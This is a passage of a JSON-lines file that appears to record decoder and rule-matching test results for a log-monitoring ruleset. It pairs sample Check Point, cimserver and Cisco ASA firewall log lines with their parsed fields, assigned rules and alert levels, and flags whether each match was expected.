"section": "checkpoint smart1: Key Install: Encryption keys were created."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Monitored\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Monitored", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64227", "level": "4", "expected_decoder": "checkpoint-smart1", "expected_rule": "64227", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Monitored: A security event was monitored; however, it was not blocked, due to the current configuration."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Bypass\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Bypass", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64228", "level": "3", "expected_decoder": "checkpoint-smart1", "expected_rule": "64228", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Bypass: The connection passed transparently through InterSpect."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Flag\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Flag", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64229", "level": "0", "expected_decoder": "checkpoint-smart1", "expected_rule": "64229", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Flag: Flags the connection."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Login\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Login", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64230", "level": "3", "expected_decoder": "checkpoint-smart1", "expected_rule": "64230", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Login: A user logged into the system."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"\"; VPN routing...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "hostname", "timestamp"], "rule": "64231", "level": "3", "expected_decoder": "checkpoint-smart1", "expected_rule": "64231", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: VPN routing: The connection was routed through the gateway acting as a central hub."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Deauthorize\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Deauthorize", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64232", "level": "3", "expected_decoder": "checkpoint-smart1", "expected_rule": "64232", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Deauthorize: Client Authentication logoff."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Authorize\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Authorize", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64233", "level": "3", "expected_decoder": "checkpoint-smart1", "expected_rule": "64233", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Authorize: Client Authentication logon"} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Block\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Block", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64234", "level": "7", "expected_decoder": "checkpoint-smart1", "expected_rule": "64234", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Block: Connection blocked by Interspect."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Detect\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Detect", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64235", "level": "3", "expected_decoder": "checkpoint-smart1", "expected_rule": "64235", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Detect: Connection was detected by Interspect."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Inspect\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Inspect", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64236", "level": "4", "expected_decoder": "checkpoint-smart1", "expected_rule": "64236", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Inspect: Connection was subject to a configured protections."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Quarantine\";...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "fw_action": "Quarantine", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "fw_action", "hostname", "timestamp"], "rule": "64237", "level": "7", "expected_decoder": "checkpoint-smart1", "expected_rule": "64237", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Quarantine: The IP source address of the connection was quarantined."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"\"; Replace Malicious code ...", "decoder": "checkpoint-smart1", "parent": "", "fields": {"ProductVersion": "19710", "hostname": "HOSTNAME", "timestamp": "2019-05-15T16:27:08Z"}, "field_names": ["ProductVersion", "hostname", "timestamp"], "rule": "64238", "level": "7", "expected_decoder": "checkpoint-smart1", "expected_rule": "64238", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: Replace Malicious code: Malicious code in the connection was replaced."} +{"log": "1 2019-05-15T16:27:08Z HOSTNAME CheckPoint 19710 - [action:\"Allow\"; flags:\"133376\"; ifdir:\"inbound\"; ifname:\"daemon\"; loguid:\"{0x0,0x0,0x0,0x0}\"; origin:\"11.22.33.44\"; originsicname:\"CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu\"; sequencenum:\"5\"; time:\"1557937628\"; version:\"5\"; cookiei:\"891f38892b0e6bd6\"; cookier:\"d71409f32c496d13\"; dst:\"11.22.33.55\"; fw_subproduct:\"VPN-1\"; ike::\"Informational Exchange Received Delete IKE-SA from Peer: 11.22.33.66; Cookies: 891f38892b0e6bd6-d71409f32c496d13 \"; msgid:\"a4bd6724\"; peer_gateway:\"11.22.33.77\"; scheme::\"IKE\"; src:\"11.22.33.99\"; vpn_feature_name:\"IKE\"; ]", "decoder": "checkpoint-smart1", "parent": "", "fields": {"Cookies": " 891f38892b0e6bd6-d71409f32c496d13 \"", "Peer": " 11.22.33.66", "ProductVersion": "19710", "cookiei": "891f38892b0e6bd6", "cookier": "d71409f32c496d13", "dst": "11.22.33.55", "flags": "133376", "fw_action": "Allow", "fw_subproduct": "VPN-1", "hostname": "HOSTNAME", "ifdir": "inbound", "ifname": "daemon", "ike": ":\"Informational Exchange Received Delete IKE-SA from Peer: 11.22.33.66", "loguid": "{0x0,0x0,0x0,0x0}", "msgid": "a4bd6724", "origin": "11.22.33.44", "originsicname": "CN=TR-DC-FW-INT-B-5600,O=Internet-QRO..g7hgcu", "peer_gateway": "11.22.33.77", "product": "VPN-1", "scheme": ":\"IKE\"", "sequencenum": "5", "src": "11.22.33.99", "time": "1557937628", "timestamp": "2019-05-15T16:27:08Z", "version": "5", "vpn_feature_name": "IKE"}, "field_names": ["Cookies", "Peer", "ProductVersion", "cookiei", "cookier", "dst", "flags", "fw_action", "fw_subproduct", "hostname", "ifdir", "ifname", "ike", "loguid", "msgid", "origin", "originsicname", "peer_gateway", "product", "scheme", "sequencenum", "src", "time", "timestamp", "version", "vpn_feature_name"], "rule": "64239", "level": "3", "expected_decoder": "checkpoint-smart1", "expected_rule": "64239", "rule_matches_expected": true, "ini_file": "checkpoint_smart1.ini", "section": "checkpoint smart1: The firewall allowed a URL"} +{"log": "Dec 18 18:06:28 hostname cimserver[18575]: PGS17200: Authentication failed for user jones_b.", "decoder": "cimserver", "parent": "cimserver", "fields": {"dstuser": "jones_b"}, "field_names": ["dstuser"], "rule": "9610", "level": "5", "expected_decoder": "cimserver", "expected_rule": "9610", "rule_matches_expected": true, "ini_file": "cimserver.ini", "section": "rshd: illegal"} +{"log": "%ASA-1-505015: Module ips, application up \"IPS\", version \"7.2(2)E4\" Normal Operation", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"app_up": "IPS", "id": "1-505015", "module_id": "ips", "version": "7.2(2)E4"}, "field_names": ["app_up", "id", "module_id", "version"], "rule": "64001", "level": "6", "expected_decoder": "cisco-asa", "expected_rule": "64001", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: alert message"} +{"log": "%ASA-1-106101: Number of cached deny-flows for ACL log has reached limit (4096)", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Number of cached deny-flows", "id": "1-106101", "limit": "4096", "log": "ACL"}, "field_names": ["description", "id", "limit", "log"], "rule": "64001", "level": "6", "expected_decoder": "cisco-asa", "expected_rule": "64001", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: alert message"} +{"log": "%ASA-1-323006: Module ips experienced a data channel communication failure, data channel is DOWN.", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Module ips experienced a data channel communication failure, data channel is DOWN.", "id": "1-323006"}, "field_names": ["description", "id"], "rule": "64001", "level": "6", "expected_decoder": "cisco-asa", "expected_rule": "64001", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: alert message"} +{"log": "%ASA-2-106001: Inbound TCP connection denied from 111.93.241.59/54322 to 116.6.127.122/1433 flags SYN on interface outside", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Inbound TCP connection denied", "dst_ip": "116.6.127.122", "dst_port": "1433", "flags": "SYN", "id": "2-106001", "interface": "outside", "src_ip": "111.93.241.59", "src_port": "54322"}, "field_names": ["description", "dst_ip", "dst_port", "flags", "id", "interface", "src_ip", "src_port"], "rule": "64002", "level": "5", "expected_decoder": "cisco-asa", "expected_rule": "64002", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: critical message"} +{"log": "%ASA-2-106006: Deny inbound UDP from 185.158.113.158/53306 to 116.6.127.123/53413 on interface outside", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Deny inbound UDP", "dst_ip": "116.6.127.123", "dst_port": "53413", "id": "2-106006", "src_ip": "185.158.113.158", "src_port": "53306"}, "field_names": ["description", "dst_ip", "dst_port", "id", "src_ip", "src_port"], "rule": "64002", "level": "5", "expected_decoder": "cisco-asa", "expected_rule": "64002", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: critical message"} +{"log": "%ASA-2-747011: Memory allocation Error", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Memory allocation Error", "id": "2-747011"}, "field_names": ["description", "id"], "rule": "64002", "level": "5", "expected_decoder": "cisco-asa", "expected_rule": "64002", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: critical message"} +{"log": "%ASA-2-321006: System Memory usage reached 93%", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "System Memory usage", "id": "2-321006", "percentage": "93%"}, "field_names": ["description", "id", "percentage"], "rule": "64002", "level": "5", "expected_decoder": "cisco-asa", "expected_rule": "64002", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: critical message"} +{"log": "%ASA-3-338309: The license on this ASA does not support dynamic filter updater feature", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "The license on this ASA does not support dynamic filter updater feature", "id": "3-338309"}, "field_names": ["description", "id"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-3-710003: TCP access denied by ACL from 192.168.0.1/11 to outside:192.168.0.2/22", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"action": "denied by ACL", "dstip": "192.168.0.2", "dstport": "22", "id": "3-710003", "protocol": "TCP", "srcip": "192.168.0.1", "srcport": "11"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-3-421001: UDP flow from WLC-LAN_inside:10.233.19.92/60803 to outside:8.8.8.8/53 is dropped because application has failed", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"dst": "60803", "dst_ip": "outside", "dst_port": "8.8.8.8", "id": "3-421001", "src": "UDP flow", "src_ip": "WLC-LAN_inside", "src_port": "10.233.19.92"}, "field_names": ["dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-3-421007: UDP flow from WLC-LAN_inside:10.233.19.92/60803 to outside:8.8.8.8/53 is skipped because application has failed", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"dst": "60803", "dst_ip": "outside", "dst_port": "8.8.8.8", "id": "3-421007", "src": "UDP flow", "src_ip": "WLC-LAN_inside", "src_port": "10.233.19.92"}, "field_names": ["dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-3-421007: UDP flow from WLC-LAN_inside:10.233.19.92/60803 to outside:8.8.8.8/53 is skipped because application has failed", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"dst": "60803", "dst_ip": "outside", "dst_port": "8.8.8.8", "id": "3-421007", "src": "UDP flow", "src_ip": "WLC-LAN_inside", "src_port": "10.233.19.92"}, "field_names": ["dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-3-106014: Deny inbound icmp src outside:151.80.47.231 dst outside:116.6.127.112 (type 3, code 2)", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"code": "(type 3, code 2)", "description": "Deny inbound icmp", "dst": "outside", "dst_ip": "116.6.127.112", "id": "3-106014", "src": "outside", "src_ip": "151.80.47.231"}, "field_names": ["code", "description", "dst", "dst_ip", "id", "src", "src_ip"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-3-338310: Failed to update from dynamic filter updater server https://update-manifests.ironport.com, reason: Failed to connect to updater server", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Failed to update from dynamic filter updater", "id": "3-338310", "reason": "Failed to connect to updater server", "server": "https://update-manifests.ironport.com"}, "field_names": ["description", "id", "reason", "server"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-3-202010: PAT pool exhausted. Unable to create TCP connection from WLC-LAN_inside:10.237.52.235/40012 to outside:183.240.12.88/443", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "PAT pool exhausted. Unable to create TCP connection", "dst": "outside", "dst_ip": "183.240.12.88", "dst_port": "443", "id": "3-202010", "src": "WLC-LAN_inside", "src_ip": "10.237.52.235", "src_port": "40012"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-3-106010: Deny inbound protocol 47 src outside:115.51.6.185 dst outside:116.6.127.120", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Deny inbound protocol 47", "id": "3-106010", "origin": "115.51.6.185", "protocol": "outside", "src_ip": "outside"}, "field_names": ["description", "id", "origin", "protocol", "src_ip"], "rule": "64003", "level": "4", "expected_decoder": "cisco-asa", "expected_rule": "64003", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: error message"} +{"log": "%ASA-4-313005: No matching connection for ICMP error message: icmp src WLC-LAN_inside:10.233.152.101 dst outside:8.8.8.8 (type 3, code 3) on WLC-LAN_inside interface. Original IP payload: udp src 8.8.8.8/53 dst 10.233.152.101/62403", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"code": "(type 3, code 3)", "description": "No matching connection for ICMP", "dst": "outside", "dst_ip": "8.8.8.8", "id": "4-313005", "interface": "WLC-LAN_inside", "protocol": "icmp", "src": "WLC-LAN_inside", "src_ip": "10.233.152.101"}, "field_names": ["code", "description", "dst", "dst_ip", "id", "interface", "protocol", "src", "src_ip"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-106023: Deny tcp src inside:111.11.11.1/2143 dst YYY:172.11.1.11/139 by access-group \"inside_inbound\"", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"action": "Deny", "dstip": "172.11.1.11", "dstport": "139", "id": "4-106023", "protocol": "tcp", "srcip": "111.11.11.1", "srcport": "2143"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-733100: Object drop rate 15 exceeded. Current burst rate is 9 per second, max configured rate is 10; Current average rate is 15 per second, max configured rate is 5; Cumulative total count is 9198", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"average_rate": "10", "burst_rate": "15", "cumulative_count": "5", "id": "4-733100", "max_average_rate": "15", "max_burst_rate": "9", "rate_ID": "Object"}, "field_names": ["average_rate", "burst_rate", "cumulative_count", "id", "max_average_rate", "max_burst_rate", "rate_ID"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-338008: Dynamic Filter dropped blacklisted TCP traffic from WLC-LAN_inside:10.233.70.240/51638 (193.17.108.1/51638) to outside:198.71.232.3/80 (198.71.232.3/80), destination 198.71.232.3 resolved from dynamic list: 198.71.232.3/255.255.255.255, threat-level: very-high, category: Bot and Threat Networks", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"category": "Bot", "description": "Dynamic Filter dropped blacklisted TCP traffic", "dst": "outside", "dst_ip": "198.71.232.3", "dst_port": "80", "id": "4-338008", "src": "WLC-LAN_inside", "src_ip": "10.233.70.240", "src_port": "51638", "threat_level": "very-high"}, "field_names": ["category", "description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port", "threat_level"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-500004: Invalid transport field for protocol=UDP, from 10.235.91.49/45682 to 80.98.44.227/0", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"dst_ip": "45682", "dst_port": "80.98.44.227", "id": "4-500004", "protocol": "Invalid transport field", "src_ip": "UDP", "src_port": "10.235.91.49"}, "field_names": ["dst_ip", "dst_port", "id", "protocol", "src_ip", "src_port"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-313009: Denied invalid ICMP code 9, for serverlan:EUCH1AAISE/38706 (EUCH1AAISE/38706) to WLC-LAN_inside:10.235.50.134/0 (10.235.50.134/0), ICMP id 295, ICMP type 8", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"code": "9", "description": "Denied invalid ICMP", "dst": "WLC-LAN_inside", "dst_ip": "10.235.50.134", "dst_port": "0", "icmp_id": "295", "icmp_type": "8", "id": "4-313009", "src": "EUCH1AAISE", "src_port": "38706"}, "field_names": ["code", "description", "dst", "dst_ip", "dst_port", "icmp_id", "icmp_type", "id", "src", "src_port"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-209005: Discard IP fragment set with more than 24 elements: src = 10.235.211.237, dest = 86.29.145.200, proto = UDP, id = 48916", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Discard IP fragment set with more than 24 elements:", "dst": "86.29.145.200", "fragment_id": "48916", "id": "4-209005", "protocol": "UDP", "src": "10.235.211.237"}, "field_names": ["description", "dst", "fragment_id", "id", "protocol", "src"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-420002: IPS requested to drop UDP packet from WLC-LAN_inside:10.235.211.237/6882 to outside:86.29.61.87/6882", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "IPS requested to drop UDP packet", "dst": "outside", "dst_ip": "86.29.61.87", "dst_port": "6882", "id": "4-420002", "src": "WLC-LAN_inside", "src_ip": "10.235.211.237", "src_port": "6882"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-434002: SFR requested to drop TCP packet from outside:123.133.65.58/51115 to DMZ-SSLVPN:116.6.127.117/443", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "SFR requested to drop TCP packet", "dst": "DMZ-SSLVPN", "dst_ip": "116.6.127.117", "dst_port": "443", "id": "4-434002", "src": "outside", "src_ip": "123.133.65.58", "src_port": "51115"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-313004: Denied ICMP type=0, from laddr 80.241.208.43 on interface outside to 116.6.127.116: no matching session", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Denied ICMP", "dst_ip": "116.6.127.116", "id": "4-313004", "interface": "outside", "reason": "no matching session", "src_ip": "80.241.208.43", "type": "0"}, "field_names": ["description", "dst_ip", "id", "interface", "reason", "src_ip", "type"], "rule": "64031", "level": "10", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": false, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-410001: Dropped UDP DNS request from outside:139.162.126.103/46951 to DMZ-SSLVPN:143.35.126.146/53; label length 46 bytes exceeds remaining packet length limit of 17 bytes", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Dropped UDP DNS request", "dst": "DMZ-SSLVPN", "dst_ip": "143.35.126.146", "dst_port": "53;", "id": "4-410001", "src": "outside", "src_ip": "139.162.126.103", "src_port": "46951"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-338202: Dynamic Filter monitored greylisted TCP traffic from WLC-LAN_inside:10.233.39.227/59610 (193.17.108.1/59610) to outside:152.195.32.56/443 (152.195.32.56/443), destination 152.195.32.56 resolved from dynamic list: images0.minutemediacdn.com, threat-level: very-high, category: Malware", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"category": "Malware", "description": "Dynamic Filter monitored greylisted TCP traffic", "dst": "outside", "dst_ip": "152.195.32.56", "dst_port": "443", "id": "4-338202", "src": "WLC-LAN_inside", "src_ip": "10.233.39.227", "src_port": "59610", "threat_level": "very-high"}, "field_names": ["category", "description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port", "threat_level"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-444005: Timebased license key 0x5b0349c2 0x55b93067 0x1395643 0xc48b41fb 0x373ecb2 will expire in 127 days.", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"days": "127", "description": "Timebased license", "id": "4-444005", "key": "0x5b0349c2 0x55b93067 0x1395643 0xc48b41fb 0x373ecb2"}, "field_names": ["days", "description", "id", "key"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-419002: Duplicate TCP SYN from WLC-LAN_inside:10.233.209.119/42736 to outside:192.168.0.8/52082 with different initial sequence number", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Duplicate TCP SYN", "dst": "outside", "dst_ip": "192.168.0.8", "dst_port": "52082", "id": "4-419002", "src": "WLC-LAN_inside", "src_ip": "10.233.209.119", "src_port": "42736"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-418001: Through-the-device packet to/from management-only network is denied: udp src DMZ:10.231.5.250/49152 dst management:143.36.200.25/161", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Through-the-device packet to/from management-only network is", "dst": "management", "dst_ip": "143.36.200.25", "dst_port": "161", "id": "4-418001", "protocol": "udp", "src": "DMZ", "src_ip": "10.231.5.250", "src_port": "49152"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "id", "protocol", "src", "src_ip", "src_port"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-108004: ESMTP Classification: Dropped connection for ESMTP Request from WLC-LAN_inside:10.235.61.181/49536 to outside:217.76.146.62/25; matched Class 4: header line length gt 998", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "ESMTP Classification: Dropped connection for ESMTP Request", "dst": "outside", "dst_ip": "217.76.146.62", "dst_port": "25", "id": "4-108004", "src": "WLC-LAN_inside", "src_ip": "10.235.61.181", "src_port": "49536"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-409023: Attempting AAA Fallback method LOCAL for Authentication request for user impssnagios : Auth-server group IMPSS unreachable", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Attempting AAA Fallback method LOCAL for Authentication request", "id": "4-409023", "message": "Auth-server group IMPSS unreachable", "username": "impssnagios"}, "field_names": ["description", "id", "message", "username"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-711004: Task ran for 435 msec, Process = DATAPATH-0-1879, PC = 0, Call stack = 0x090b0155", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"call_stack": "0x090b0155", "description": "Task ran", "id": "4-711004", "pc": "0", "process": "DATAPATH-0-1879", "time": "435 msec"}, "field_names": ["call_stack", "description", "id", "pc", "process", "time"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-411001: Line protocol on Interface GigabitEthernet0/0, changed state to up", "decoder": "cisco-asa", "parent": 